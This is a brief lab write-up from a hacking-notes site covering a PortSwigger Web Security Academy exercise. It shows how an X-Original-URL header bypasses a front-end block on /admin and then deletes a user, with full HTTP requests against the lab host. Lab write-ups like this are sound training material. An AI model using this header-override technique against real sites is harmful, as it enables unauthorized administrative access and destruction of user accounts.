> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/access-control/bypassing-url-based-access-control.md).
# Bypassing URL Based Access Control
Bypassing URL Based Access Control notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### URL-based Access Control Can Be Circumvented
In this exercise, the site has an administration panel located at **/admin**, officially blocked by a frontal filter that prevents external access. / However, the back-end application uses a framework that recognizes the **X-Original-URL** header, thus bypassing the restriction.
#### **Analysis and Exploitation**
By attempting to access directly to **/admin**, access is denied. / To bypass this filter, simply intercept a query (e.g. to the `/` root) and add the following header:
```http
X-Original-URL: /admin
```
Example of modified request:
```http
GET / HTTP/2
Host: 0adf00fa0339fdd982870b6700ac0038.web-security-academy.net
Cookie: session=zZPNq7xgRqmex89AnUMQRWEzngZl7ShX
X-Original-Url: /admin
```
The back-end server interprets this header and returns **200 OK**, giving access to the admin panel.
#### **Deletion of the User**
To remove the user **carlos**, a new query is forged by redirecting the internal URL with the same header:
```http
GET /?username=carlos HTTP/2
Host: 0adf00fa0339fdd982870b6700ac0038.web-security-academy.net
Cookie: session=zZPNq7xgRqmex89AnUMQRWEzngZl7ShX
X-Original-Url: /admin/delete
```
The deletion is then carried out successfully.
---
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